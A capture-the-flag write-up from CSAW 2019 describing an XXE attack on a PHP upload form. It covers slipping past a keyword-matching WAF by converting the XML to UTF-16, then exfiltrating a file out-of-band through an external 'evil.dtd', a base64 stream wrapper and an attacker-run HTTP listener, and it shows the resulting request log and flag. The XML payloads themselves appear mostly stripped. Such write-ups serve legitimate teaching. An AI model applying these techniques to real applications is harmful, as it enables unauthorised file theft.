XXE is the gift that keeps on giving. Unfortunately every attempt at exploiting it requires lots of fiddling and this one is rather special as there's not much helpful feedback from the application. Trying to upload documents in the web application I've observed the following: - The upload is successful, with an empty user list - The upload is successful, with a non-empty user list - The upload was blocked by the WAF The first two are useful to tell whether you have a XML error somewhere that prevents it from being processed. The last one is what makes this challenge interesting. Experimenting a bit further, the WAF seems to look for at least the following keywords anywhere in the document: - `SYSTEM` - `ENTITY` In other words, it doesn't actually parse the document to do its work, but only performs a regex match. I consulted the official XML grammars a bit to find a different way of writing these keywords, but no luck. Some more searching gave me the idea of trying a different encoding, UTF-16 turned out to be the way forward. The workflow for performing this is somewhat ugly, as my preferred editor does too much magic with file encodings I wrote the following in Vim, then used `iconv -f UTF-8 -t UTF-16 < in.xml > out.xml`: ]> alice passwd1 &rrr; alice@fakesite.com CSAW2019 bob passwd2 Bob bob@fakesite.com CSAW2019 This puts "XXE" into the name when uploaded. Unfortunately changing it to put the contents of the flag doesn't work as the output is truncated to 20 characters, so more fiddling is required for OOB extraction. Here's the XML I've eventually settled on: %asd; %c; ]> alice passwd1 &rrr; alice@fakesite.com CSAW2019 bob passwd2 Bob bob@fakesite.com CSAW2019 The corresponding `evil.dtd`: "> Uploading the XML triggers a `GET /xxx` on a freshly spinned up HTTP server listening on port 10001. Exfiltrating the file is finally in reach, but fails on any of the usual candidates. I began suspecting that file access works, but newlines in them make it fail. This can be verified by leaking a file not containing a newline, such as `/proc/self/sessionid`. The usual workaround of spinning up a fake FTP server and using a `ftp://` URL didn't work. Eventually it dawned on me that since this is PHP, stream wrappers can be used to encode the file as base64: "> The incoming request looks as follows: 216.165.2.60 - - [15/Sep/2019 17:01:59] "GET /QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= Here it is after decoding: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA